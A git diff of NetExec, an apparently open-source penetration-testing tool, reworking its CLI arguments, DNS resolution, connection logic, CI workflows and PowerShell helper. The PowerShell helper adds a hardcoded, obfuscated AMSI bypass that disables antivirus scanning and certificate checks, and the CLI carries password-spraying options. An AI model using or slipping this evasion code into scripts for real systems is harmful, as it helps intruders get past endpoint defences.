Stop neo4j for spamming into the debug log

.github/ISSUE_TEMPLATE/feature_request.md

@@ -1,18 +0,0 @@
----
-name: Feature request
-about: Request a new feature or enhancement
-title: ''
-labels: ''
-assignees: ''
-
----
-**Please Describe The Problem To Be Solved**
-(Replace This Text: Please present a concise description of the problem to be addressed by this feature request. Please be clear what parts of the problem are considered to be in-scope and out-of-scope.)
-
-**(Optional): Suggest A Solution**
-(Replace This Text: A concise description of your preferred solution. Things to address include:
-* Details of the technical implementation
-* Tradeoffs made in design decisions
-* Caveats and considerations for the future
-
-If there are multiple solutions, please present each one separately. Save comparisons for the very end.)

.github/PULL_REQUEST_TEMPLATE/pull_request_template.md

@@ -1,44 +0,0 @@
----
-name: Pull request
-about: Update code to fix a bug or add an enhancement/feature
-title: ''
-labels: ''
-assignees: ''
-
----
-## Description
-
-Please include a summary of the change and which issue is fixed, or what the enhancement does.
-Please also include relevant motivation and context.
-List any dependencies that are required for this change.
-
-## Type of change
-Please delete options that are not relevant.
-- [ ] Bug fix (non-breaking change which fixes an issue)
-- [ ] New feature (non-breaking change which adds functionality)
-- [ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
-- [ ] This change requires a documentation update
-- [ ] This requires a third party update (such as Impacket, Dploot, lsassy, etc)
-
-## How Has This Been Tested?
-Please describe the tests that you ran to verify your changes (e2e, single commands, etc)
-Please also list any relevant details for your test configuration, such as your locally running machine Python version & OS, as well as the target(s) you tested against, including software versions
-
-If you are using poetry, you can easily run tests via:
-`poetry run python tests/e2e_tests.py -t $TARGET -u $USER -p $PASSWORD`
-There are additional options like `--errors` to display ALL errors (some may not be failures), `--poetry` (output will include the poetry run prepended), `--line-num $START-$END $SINGLE` for only running a subset
-
-## Screenshots (if appropriate):
-Screenshots are always nice to have and can give a visual representation of the change.
-If appropriate include before and after screenshot(s) to show which results are to be expected.
-
-## Checklist:
-
-- [ ] I have ran Ruff against my changes (via poetry: `poetry run python -m ruff check . --preview`, use `--fix` to automatically fix what it can)
-- [ ] I have added or updated the tests/e2e_commands.txt file if necessary
-- [ ] New and existing e2e tests pass locally with my changes
-- [ ] My code follows the style guidelines of this project (should be covered by Ruff above)
-- [ ] If reliant on third party dependencies, such as Impacket, dploot, lsassy, etc, I have linked the relevant PRs in those projects
-- [ ] I have performed a self-review of my own code
-- [ ] I have commented my code, particularly in hard-to-understand areas
-- [ ] I have made corresponding changes to the documentation (PR here: https://github.com/Pennyw0rth/NetExec-Wiki)

.github/workflows/lint.yml

@@ -1,11 +1,11 @@
 name: Lint Python code with ruff
 # Caching source: https://gist.github.com/gh640/233a6daf68e9e937115371c0ecd39c61?permalink_comment_id=4529233#gistcomment-4529233
 
-on:
-  push:
+on: [push, pull_request]
 
 jobs:
   lint:
+    name: Lint Python code with ruff
     runs-on: ubuntu-latest
     if:
       github.event_name == 'push' || github.event.pull_request.head.repo.full_name != github.repository

.github/workflows/test.yml

@@ -1,51 +1,32 @@
 name: NetExec Tests
 
 on:
-  workflow_dispatch:
   pull_request_review:
     types: [submitted]
 
 jobs:
   build:
-    name: Test for Py${{ matrix.python-version }}
-    if: github.event.review.state == 'APPROVED'
+    name: NetExec Tests for Py${{ matrix.python-version }}
     runs-on: ${{ matrix.os }}
     strategy:
       max-parallel: 5
       matrix:
         os: [ubuntu-latest]
-        python-version: ["3.8", "3.9", "3.10", "3.11", "3.12"]
+        python-version: ["3.7", "3.8", "3.9", "3.10", "3.11"]
     steps:
-      - uses: actions/checkout@v3
-      - name: Install poetry
-        run: |
-          pipx install poetry
-      - name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }}
-        uses: actions/setup-python@v4
-        with:
-          python-version: ${{ matrix.python-version }}
-          cache: poetry
-          cache-dependency-path: poetry.lock
-      - name: Install with pipx
-        run: |
-          pipx install . --python python${{ matrix.python-version }}
-      - name: Install poetry
-        run: |
-          pipx install poetry --python python${{ matrix.python-version }}
-          poetry --version
-          poetry env info
-      - name: Install libraries with dev group
-        run: |
-          poetry install --with dev
-      - name: Load every protocol and module
-        run: |
-          poetry run netexec winrm 127.0.0.1
-          poetry run netexec vnc 127.0.0.1
-          poetry run netexec smb 127.0.0.1
-          poetry run netexec ldap 127.0.0.1
-          poetry run netexec wmi 127.0.0.1
-          poetry run netexec rdp 127.0.0.1
-          poetry run netexec mssql 127.0.0.1
-          poetry run netexec ssh 127.0.0.1
-          poetry run netexec ftp 127.0.0.1
-          poetry run netexec smb 127.0.0.1 -M veeam
+    - uses: actions/checkout@v3
+    - name: NetExec set up python on ${{ matrix.os }}
+      uses: actions/setup-python@v4
+      with:
+        python-version: ${{ matrix.python-version }}
+    - name: Install poetry
+      run: |
+        pipx install poetry --python python${{ matrix.python-version }}
+        poetry --version
+        poetry env info
+    - name: Install libraries with dev group
+      run: |
+        poetry install --with dev
+    - name: Run the e2e test
+      run: |
+        poetry run pytest tests

.gitignore

@@ -1,6 +1,5 @@
 data/nxc.db
 hash_spider_default.sqlite3
-hash_spider_testing.sqlite3
 *.bak
 *.log
 .venv

netexec.spec

@@ -38,11 +38,9 @@ a = Analysis(
         'nxc.protocols.smb.smbspider',
         'nxc.protocols.smb.passpol',
         'nxc.protocols.mssql.mssqlexec',
-        'nxc.parsers.ldap_results',
         'nxc.helpers.bash',
         'nxc.helpers.bloodhound',
         'nxc.helpers.msada_guids',
-        'nxc.helpers.ntlm_parser',
         'paramiko',
         'pypsrp.client',
         'pywerview.cli.helpers',
@@ -67,15 +65,12 @@ a = Analysis(
         'dploot.triage.browser',
         'dploot.triage.credentials',
         'dploot.triage.masterkeys',
-        'dploot.triage.mobaxterm',
         'dploot.triage.backupkey',
         'dploot.triage.wifi',
-        'dploot.triage.sccm',
         'dploot.lib.target',
         'dploot.lib.smb',
         'pyasn1_modules.rfc5652',
         'unicrypto.backends.pycryptodomex',
-        'dateutil.relativedelta',
         'sspilib.raw._text',
      ],
      hookspath=['./nxc/.hooks'],

nxc/cli.py

@@ -9,45 +9,15 @@ import nxc
 from nxc.paths import NXC_PATH
 from nxc.loaders.protocolloader import ProtocolLoader
 from nxc.helpers.logger import highlight
-from nxc.helpers.args import DisplayDefaultsNotNone
-from nxc.logger import nxc_logger, setup_debug_logging
+from nxc.logger import nxc_logger
 import importlib.metadata
 
 
 def gen_cli_args():
-    setup_debug_logging()
-    
-    try:
-        VERSION, COMMIT = importlib.metadata.version("netexec").split("+")
-    except ValueError:
-        VERSION = importlib.metadata.version("netexec")
-        COMMIT = ""
-    CODENAME = "ItsAlwaysDNS"
-    COMMIT = "kali"
-    nxc_logger.debug(f"NXC VERSION: {VERSION} - {CODENAME} - {COMMIT}")
-    
-    generic_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
-    generic_group = generic_parser.add_argument_group("Generic", "Generic options for nxc across protocols")
-    generic_group.add_argument("-t", "--threads", type=int, dest="threads", default=256, help="set how many concurrent threads to use")
-    generic_group.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread")
-    generic_group.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication")
-    
-    output_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
-    output_group = output_parser.add_argument_group("Output", "Options to set verbosity levels and control output")
-    output_group.add_argument("--verbose", action="store_true", help="enable verbose output")
-    output_group.add_argument("--debug", action="store_true", help="enable debug level information")
-    output_group.add_argument("--no-progress", action="store_true", help="do not displaying progress bar during scan")
-    output_group.add_argument("--log", metavar="LOG", help="export result into a custom file")
-    
-    dns_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
-    dns_group = dns_parser.add_argument_group("DNS")
-    dns_group.add_argument("-6", dest="force_ipv6", action="store_true", help="Enable force IPv6")
-    dns_group.add_argument("--dns-server", action="store", help="Specify DNS server (default: Use hosts file & System DNS)")
-    dns_group.add_argument("--dns-tcp", action="store_true", help="Use TCP instead of UDP for DNS queries")
-    dns_group.add_argument("--dns-timeout", action="store", type=int, default=3, help="DNS query timeout in seconds")
-    
-    parser = argparse.ArgumentParser(
-        description=rf"""
+    VERSION = importlib.metadata.version("netexec")
+    CODENAME = "nxc4u"
+
+    parser = argparse.ArgumentParser(description=rf"""
      .   .
     .|   |.     _   _          _     _____
     ||   ||    | \ | |   ___  | |_  | ____| __  __   ___    ___
@@ -64,48 +34,48 @@ def gen_cli_args():
 
     {highlight('Version', 'red')} : {highlight(VERSION)}
     {highlight('Codename', 'red')}: {highlight(CODENAME)}
-    {highlight('Commit', 'red')}  : {highlight(COMMIT)}
-    """,
-        formatter_class=RawTextHelpFormatter,
-        parents=[generic_parser, output_parser, dns_parser]
-    )
+    """, formatter_class=RawTextHelpFormatter)
 
+    parser.add_argument("-t", type=int, dest="threads", default=100, help="set how many concurrent threads to use (default: 100)")
+    parser.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread (default: None)")
+    parser.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each connection (default: None)")
+    parser.add_argument("--no-progress", action="store_true", help="Not displaying progress bar during scan")
+    parser.add_argument("--verbose", action="store_true", help="enable verbose output")
+    parser.add_argument("--debug", action="store_true", help="enable debug level information")
     parser.add_argument("--version", action="store_true", help="Display nxc version")
 
     # we do module arg parsing here so we can reference the module_list attribute below
-    module_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
-    mgroup = module_parser.add_argument_group("Modules", "Options for nxc modules")
+    module_parser = argparse.ArgumentParser(add_help=False)
+    mgroup = module_parser.add_mutually_exclusive_group()
     mgroup.add_argument("-M", "--module", choices=get_module_names(), action="append", metavar="MODULE", help="module to use")
-    mgroup.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options")
-    mgroup.add_argument("-L", "--list-modules", action="store_true", help="list available modules")
-    mgroup.add_argument("--options", dest="show_module_options", action="store_true", help="display module options")
+    module_parser.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options")
+    module_parser.add_argument("-L", "--list-modules", action="store_true", help="list available modules")
+    module_parser.add_argument("--options", dest="show_module_options", action="store_true", help="display module options")
+    module_parser.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server (default: https)")
+    module_parser.add_argument("--server-host", type=str, default="0.0.0.0", metavar="HOST", help="IP to bind the server to (default: 0.0.0.0)")
+    module_parser.add_argument("--server-port", metavar="PORT", type=int, help="start the server on the specified port")
+    module_parser.add_argument("--connectback-host", type=str, metavar="CHOST", help="IP for the remote system to connect back to (default: same as server-host)")
 
-    subparsers = parser.add_subparsers(title="Available Protocols", dest="protocol")
+    subparsers = parser.add_subparsers(title="protocols", dest="protocol", description="available protocols")
 
-    std_parser = argparse.ArgumentParser(add_help=False, parents=[generic_parser, output_parser, dns_parser], formatter_class=DisplayDefaultsNotNone)
+    std_parser = argparse.ArgumentParser(add_help=False)
     std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules or module_parser.parse_known_args()[0].show_module_options) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
-    credential_group = std_parser.add_argument_group("Authentication", "Options for authenticating")
-    credential_group.add_argument("-u", "--username", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames")
-    credential_group.add_argument("-p", "--password", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords")
-    credential_group.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, dest="cred_id", help="database credential ID(s) to use for authentication")
-    credential_group.add_argument("--ignore-pw-decoding", action="store_true", help="Ignore non UTF-8 characters when decoding the password file")
-    credential_group.add_argument("--no-bruteforce", action="store_true", help="No spray when using file for username and password (user1 => password1, user2 => password2)")
-    credential_group.add_argument("--continue-on-success", action="store_true", help="continues authentication attempts even after successes")
-    credential_group.add_argument("--gfail-limit", metavar="LIMIT", type=int, help="max number of global failed login attempts")
-    credential_group.add_argument("--ufail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per username")
-    credential_group.add_argument("--fail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per host")
+    std_parser.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, dest="cred_id", help="database credential ID(s) to use for authentication")
+    std_parser.add_argument("-u", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames")
+    std_parser.add_argument("-p", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords")
+    std_parser.add_argument("--ignore-pw-decoding", action="store_true", help="Ignore non UTF-8 characters when decoding the password file")
+    std_parser.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
+    std_parser.add_argument("--no-bruteforce", action="store_true", help="No spray when using file for username and password (user1 => password1, user2 => password2")
+    std_parser.add_argument("--continue-on-success", action="store_true", help="continues authentication attempts even after successes")
+    std_parser.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
+    std_parser.add_argument("--log", metavar="LOG", help="Export result into a custom file")
+    std_parser.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
+    std_parser.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
 
-    kerberos_group = std_parser.add_argument_group("Kerberos", "Options for Kerberos authentication")
-    kerberos_group.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
-    kerberos_group.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
-    kerberos_group.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
-    kerberos_group.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
-    
-    server_group = std_parser.add_argument_group("Servers", "Options for nxc servers")
-    server_group.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server")
-    server_group.add_argument("--server-host", type=str, default="0.0.0.0", metavar="HOST", help="IP to bind the server to")
-    server_group.add_argument("--server-port", metavar="PORT", type=int, help="start the server on the specified port")
-    server_group.add_argument("--connectback-host", type=str, metavar="CHOST", help="IP for the remote system to connect back to")    
+    fail_group = std_parser.add_mutually_exclusive_group()
+    fail_group.add_argument("--gfail-limit", metavar="LIMIT", type=int, help="max number of global failed login attempts")
+    fail_group.add_argument("--ufail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per username")
+    fail_group.add_argument("--fail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per host")
 
     p_loader = ProtocolLoader()
     protocols = p_loader.get_protocols()
@@ -113,7 +83,7 @@ def gen_cli_args():
     try:
         for protocol in protocols:
             protocol_object = p_loader.load_protocol(protocols[protocol]["argspath"])
-            subparsers = protocol_object.proto_args(subparsers, [std_parser, module_parser])
+            subparsers = protocol_object.proto_args(subparsers, std_parser, module_parser)
     except Exception as e:
         nxc_logger.exception(f"Error loading proto_args from proto_args.py file in protocol folder: {protocol} - {e}")
 
@@ -125,13 +95,9 @@ def gen_cli_args():
         sys.exit(1)
 
     if args.version:
-        print(f"{VERSION} - {CODENAME} - {COMMIT}")
+        print(f"{VERSION} - {CODENAME}")
         sys.exit(1)
 
-    # Multiply output_tries by 10 to enable more fine granural control, see exec methods
-    if hasattr(args, "get_output_tries"):
-        args.get_output_tries = args.get_output_tries * 10
-
     return args
 
 

nxc/connection.py

@@ -4,82 +4,39 @@ from threading import BoundedSemaphore
 from functools import wraps
 from time import sleep
 from ipaddress import ip_address
-from dns import resolver, rdatatype
 from socket import AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME, getaddrinfo
 
 from nxc.config import pwned_label
 from nxc.helpers.logger import highlight
-from nxc.loaders.moduleloader import ModuleLoader
 from nxc.logger import nxc_logger, NXCAdapter
 from nxc.context import Context
 from nxc.protocols.ldap.laps import laps_search
 
 from impacket.dcerpc.v5 import transport
 import sys
-import contextlib
 
 sem = BoundedSemaphore(1)
 global_failed_logins = 0
 user_failed_logins = {}
 
 
-def get_host_addr_info(target, force_ipv6, dns_server, dns_tcp, dns_timeout):
-    result = {
-        "host": "",
-        "is_ipv6": False,
-        "is_link_local_ipv6": False
-    }
+def gethost_addrinfo(hostname):
+    is_ipv6 = False
+    is_link_local_ipv6 = False
     address_info = {"AF_INET6": "", "AF_INET": ""}
 
-    try:
-        if ip_address(target).version == 4:
-            address_info["AF_INET"] = target
-        else:
-            address_info["AF_INET6"] = target
-    except Exception:
-        # If the target is not an IP address, we need to resolve it
-        if not (dns_server or dns_tcp):
-            for res in getaddrinfo(target, None, AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
-                af, _, _, canonname, sa = res
-                address_info[af.name] = sa[0]
-
-            if address_info["AF_INET6"] and ip_address(address_info["AF_INET6"]).is_link_local:
-                address_info["AF_INET6"] = canonname
-                result["is_link_local_ipv6"] = True
-        else:
-            dnsresolver = resolver.Resolver()
-            dnsresolver.timeout = dns_timeout
-            dnsresolver.lifetime = dns_timeout
-
-            if dns_server:
-                dnsresolver.nameservers = [dns_server]
-
-            try:
-                answers_ipv4 = dnsresolver.resolve(target, rdatatype.A, raise_on_no_answer=False, tcp=dns_tcp)
-                address_info["AF_INET"] = answers_ipv4[0].address
-            except Exception:
-                pass
-
-            try:
-                answers_ipv6 = dnsresolver.resolve(target, rdatatype.AAAA, raise_on_no_answer=False, tcp=dns_tcp)
-                address_info["AF_INET6"] = answers_ipv6[0].address
-
-                if address_info["AF_INET6"] and ip_address(address_info["AF_INET6"]).is_link_local:
-                    result["is_link_local_ipv6"] = True
-            except Exception:
-                pass
-
-    if not (address_info["AF_INET"] or address_info["AF_INET6"]):
-        raise Exception(f"The DNS query name does not exist: {target}")
+    for res in getaddrinfo(hostname, None, AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
+        af, _, _, canonname, sa = res
+        address_info[af.name] = sa[0]
 
     # IPv4 preferred
-    if address_info["AF_INET"] and not force_ipv6:
-        result["host"] = address_info["AF_INET"]
+    if address_info["AF_INET"]:
+        host = address_info["AF_INET"]
     else:
-        result["is_ipv6"] = True
-        result["host"] = address_info["AF_INET6"]
+        is_ipv6 = True
+        host, is_link_local_ipv6 = (canonname, True) if ip_address(address_info["AF_INET6"]).is_link_local else (address_info["AF_INET6"], False)
 
-    return result
+    return host, is_ipv6, is_link_local_ipv6
 
 
 def requires_admin(func):
@@ -91,7 +48,7 @@ def requires_admin(func):
     return wraps(func)(_decorator)
 
 
-def dcom_FirewallChecker(iInterface, remoteHost, timeout):
+def dcom_FirewallChecker(iInterface, timeout):
     stringBindings = iInterface.get_cinstance().get_string_bindings()
     for strBinding in stringBindings:
         if strBinding["wTowerId"] == 7:
@@ -111,7 +68,6 @@ def dcom_FirewallChecker(iInterface, remoteHost, timeout):
         return True, None
     try:
         rpctransport = transport.DCERPCTransportFactory(stringBinding)
-        rpctransport.setRemoteHost(remoteHost)
         rpctransport.set_connect_timeout(timeout)
         rpctransport.connect()
         rpctransport.disconnect()
@@ -123,66 +79,49 @@ def dcom_FirewallChecker(iInterface, remoteHost, timeout):
 
 
 class connection:
-    def __init__(self, args, db, target):
+    def __init__(self, args, db, host):
+        self.domain = None
         self.args = args
         self.db = db
-        self.logger = nxc_logger
+        self.hostname = host
+        self.port = self.args.port
         self.conn = None
-
-        # Authentication info
+        self.admin_privs = False
         self.password = ""
         self.username = ""
         self.kerberos = bool(self.args.kerberos or self.args.use_kcache or self.args.aesKey)
         self.aesKey = None if not self.args.aesKey else self.args.aesKey[0]
+        self.kdcHost = None if not self.args.kdcHost else self.args.kdcHost
         self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache
-        self.admin_privs = False
         self.failed_logins = 0
-
-        # Network info
-        self.domain = None
-        self.host = None            # IP address of the target. If kerberos this is the hostname
-        self.hostname = target      # Target info supplied by the user, may be an IP address or a hostname
-        self.remoteName = target    # hostname + domain, defaults to target if domain could not be resolved/not specified
-        self.kdcHost = self.args.kdcHost
-        self.port = self.args.port
         self.local_ip = None
+        self.logger = nxc_logger
 
-        # DNS resolution
-        dns_result = self.resolver(target)
-        if dns_result:
-            self.host, self.is_ipv6, self.is_link_local_ipv6 = dns_result["host"], dns_result["is_ipv6"], dns_result["is_link_local_ipv6"]
-        else:
+        try:
+            self.host, self.is_ipv6, self.is_link_local_ipv6 = gethost_addrinfo(self.hostname)
+            if self.args.kerberos:
+                self.host = self.hostname
+            self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
+        except Exception as e:
+            self.logger.info(f"Error resolving hostname {self.hostname}: {e}")
             return
 
-        if self.args.kerberos:
-            self.host = self.hostname
+        if args.jitter:
+            jitter = args.jitter
+            if "-" in jitter:
+                start, end = jitter.split("-")
+                jitter = (int(start), int(end))
+            else:
+                jitter = (0, int(jitter))
 
-        self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
+            value = random.choice(range(jitter[0], jitter[1]))
+            self.logger.debug(f"Doin' the jitterbug for {value} second(s)")
+            sleep(value)
 
         try:
             self.proto_flow()
         except Exception as e:
-            if "ERROR_DEPENDENT_SERVICES_RUNNING" in str(e):
-                self.logger.error(f"Exception while calling proto_flow() on target {target}: {e}")
-            else:
-                self.logger.exception(f"Exception while calling proto_flow() on target {target}: {e}")
-        finally:
-            self.logger.debug(f"Closing connection to: {target}")
-            with contextlib.suppress(Exception):
-                self.conn.close()
-
-    def resolver(self, target):
-        try:
-            return get_host_addr_info(
-                target=target,
-                force_ipv6=self.args.force_ipv6,
-                dns_server=self.args.dns_server,
-                dns_tcp=self.args.dns_tcp,
-                dns_timeout=self.args.dns_timeout
-            )
-        except Exception as e:
-            self.logger.info(f"Error resolving hostname {target}: {e}")
-            return None
+            self.logger.exception(f"Exception while calling proto_flow() on target {self.host}: {e}")
 
     @staticmethod
     def proto_args(std_parser, module_parser):
@@ -203,7 +142,16 @@ class connection:
     def check_if_admin(self):
         return
 
-    def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
+    def kerberos_login(
+        self,
+        domain,
+        username,
+        password="",
+        ntlm_hash="",
+        aesKey="",
+        kdcHost="",
+        useCache=False,
+    ):
         return
 
     def plaintext_login(self, domain, username, password):
@@ -215,14 +163,11 @@ class connection:
     def proto_flow(self):
         self.logger.debug("Kicking off proto_flow")
         self.proto_logger()
-        if not self.create_conn_obj():
-            self.logger.info(f"Failed to create connection object for target {self.host}, exiting...")
-        else:
+        if self.create_conn_obj():
             self.logger.debug("Created connection object")
             self.enum_host_info()
             if self.print_host_info() and (self.login() or (self.username == "" and self.password == "")):
                 if hasattr(self.args, "module") and self.args.module:
-                    self.load_modules()
                     self.logger.debug("Calling modules")
                     self.call_modules()
                 else:
@@ -256,7 +201,7 @@ class connection:
         It iterates over the modules specified in the command line arguments.
         For each module, it loads the module and creates a context object, then calls functions based on the module's attributes.
         """
-        for module in self.modules:
+        for module in self.module:
             self.logger.debug(f"Loading module {module.name} - {module}")
             module_logger = NXCAdapter(
                 extra={
@@ -440,9 +385,7 @@ class connection:
         return domain, username, owned, secret, cred_type, [None] * len(secret)
 
     def try_credentials(self, domain, username, owned, secret, cred_type, data=None):
-        """
-        Try to login using the specified credentials and protocol.
-        With  --jitter an authentication throttle can be applied.
+        """Try to login using the specified credentials and protocol.
 
         Possible login methods are:
             - plaintext (/kerberos)
@@ -455,18 +398,6 @@ class connection:
             return False
         if hasattr(self.args, "delegate") and self.args.delegate:
             self.args.kerberos = True
-
-        if self.args.jitter:
-            jitter = self.args.jitter
-            if "-" in jitter:
-                start, end = jitter.split("-")
-                jitter = (int(start), int(end))
-            else:
-                jitter = (0, int(jitter))
-            value = jitter[0] if jitter[0] == jitter[1] else random.choice(range(jitter[0], jitter[1]))
-            self.logger.debug(f"Throttle authentications: sleeping {value} second(s)")
-            sleep(value)
-
         with sem:
             if cred_type == "plaintext":
                 if self.args.kerberos:
@@ -555,12 +486,3 @@ class connection:
 
     def mark_pwned(self):
         return highlight(f"({pwned_label})" if self.admin_privs else "")
-
-    def load_modules(self):
-        self.logger.info(f"Loading modules for target: {self.host}")
-        loader = ModuleLoader(self.args, self.db, self.logger)
-        self.modules = []
-
-        for module_path in self.module_paths:
-            module = loader.init_module(module_path)
-            self.modules.append(module)

nxc/data/nxc.conf

@@ -13,7 +13,7 @@ bh_enabled = False
 bh_uri = 127.0.0.1
 bh_port = 7687
 bh_user = neo4j
-bh_pass = bloodhoundcommunityedition
+bh_pass = neo4j
 
 [Empire]
 api_host = 127.0.0.1

nxc/database.py

@@ -12,7 +12,7 @@ from nxc.paths import WORKSPACE_DIR
 
 
 def create_db_engine(db_path):
-    return create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True, connect_args={"check_same_thread": False})
+    return create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True)
 
 
 def open_config(config_path):

nxc/helpers/args.py

@@ -1,10 +0,0 @@
-from argparse import ArgumentDefaultsHelpFormatter, SUPPRESS, OPTIONAL, ZERO_OR_MORE
-
-class DisplayDefaultsNotNone(ArgumentDefaultsHelpFormatter):
-    def _get_help_string(self, action):
-        help_string = action.help
-        if "%(default)" not in action.help and action.default is not SUPPRESS:
-            defaulting_nargs = [OPTIONAL, ZERO_OR_MORE]
-            if (action.option_strings or action.nargs in defaulting_nargs) and action.default:  # Only add default info if it's not None
-                help_string += " (default: %(default)s)"  # NORUFF
-        return help_string

nxc/helpers/bloodhound.py

@@ -52,12 +52,14 @@ def add_user_bh(user, domain, logger, config):
                         _add_with_domain(user_info, domain, tx, logger)
         except AuthError:
             logger.fail(f"Provided Neo4J credentials ({config.get('BloodHound', 'bh_user')}:{config.get('BloodHound', 'bh_pass')}) are not valid.")
+            return
         except ServiceUnavailable:
             logger.fail(f"Neo4J does not seem to be available on {uri}.")
+            return
         except Exception as e:
             logger.fail(f"Unexpected error with Neo4J: {e}")
-        finally:
-            driver.close()
+            return
+        driver.close()
 
 
 def _add_with_domain(user_info, domain, tx, logger):

nxc/helpers/powershell.py

@@ -12,20 +12,6 @@ import random
 
 obfuscate_ps_scripts = False
 
-def replace_singles(s):
-    """Replaces single quotes with a double quote
-    We do this because quoting is very important in PowerShell, and we are doing multiple layers:
-    Python, MSSQL, and PowerShell. We want to make sure that the command is properly quoted at each layer.
-
-    Args:
-    ----
-        s (str): The string to replace single quotes in.
-
-    Returns:
-    -------
-        str: Original string with single quotes replaced with double.
-    """
-    return s.replace("'", r"\"")
 
 def get_ps_script(path):
     """Generates a full path to a PowerShell script given a relative path.
@@ -122,66 +108,91 @@ def obfs_ps_script(path_to_script):
 
 
 
-def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None, encode=True):
+def create_ps_command(ps_command, force_ps32=False, dont_obfs=False, custom_amsi=None):
     """
     Generates a PowerShell command based on the provided `ps_command` parameter.
 
     Args:
     ----
         ps_command (str): The PowerShell command to be executed.
+
         force_ps32 (bool, optional): Whether to force PowerShell to run in 32-bit mode. Defaults to False.
-        obfs (bool, optional): Whether to obfuscate the generated command. Defaults to False.
+
+        dont_obfs (bool, optional): Whether to obfuscate the generated command. Defaults to False.
+
         custom_amsi (str, optional): Path to a custom AMSI bypass script. Defaults to None.
-        encode (bool, optional): Whether to encode the generated command (executed via -enc in PS). Defaults to True.
 
     Returns:
     -------
         str: The generated PowerShell command.
     """
-    nxc_logger.debug(f"Creating PS command parameters: {ps_command=}, {force_ps32=}, {obfs=}, {custom_amsi=}, {encode=}")
-    
     if custom_amsi:
-        nxc_logger.debug(f"Using custom AMSI bypass script: {custom_amsi}")
         with open(custom_amsi) as file_in:
             lines = list(file_in)
             amsi_bypass = "".join(lines)
     else:
-        amsi_bypass = ""
+        amsi_bypass = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
+try{
+[Ref].Assembly.GetType('Sys'+'tem.Man'+'agement.Aut'+'omation.Am'+'siUt'+'ils').GetField('am'+'siIni'+'tFailed', 'NonP'+'ublic,Sta'+'tic').SetValue($null, $true)
+}catch{}
+"""
+
+    command = amsi_bypass + f"\n$functions = {{\n    function Command-ToExecute\n    {{\n{amsi_bypass + ps_command}\n    }}\n}}\nif ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64')\n{{\n    $job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32\n    $job | Wait-Job\n}}\nelse\n{{\n    IEX \"$functions\"\n    Command-ToExecute\n}}\n" if force_ps32 else amsi_bypass + ps_command
 
-    # for readability purposes, we do not do a one-liner
-    if force_ps32:  # noqa: SIM108
-        # https://stackoverflow.com/a/60155248
-        command = amsi_bypass + f"$functions = {{function Command-ToExecute{{{amsi_bypass + ps_command}}}}}; if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){{$job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32; $job | Wait-Job | Receive-Job }} else {{IEX '$functions'; Command-ToExecute}}"
-    else:
-        command = f"{amsi_bypass} {ps_command}"
-    
     nxc_logger.debug(f"Generated PS command:\n {command}\n")
 
-    if obfs:
-        nxc_logger.debug("Obfuscating PowerShell command")
+    # We could obfuscate the initial launcher using Invoke-Obfuscation but because this function gets executed
+    # concurrently it would spawn a local powershell process per host which isn't ideal, until I figure out a good way
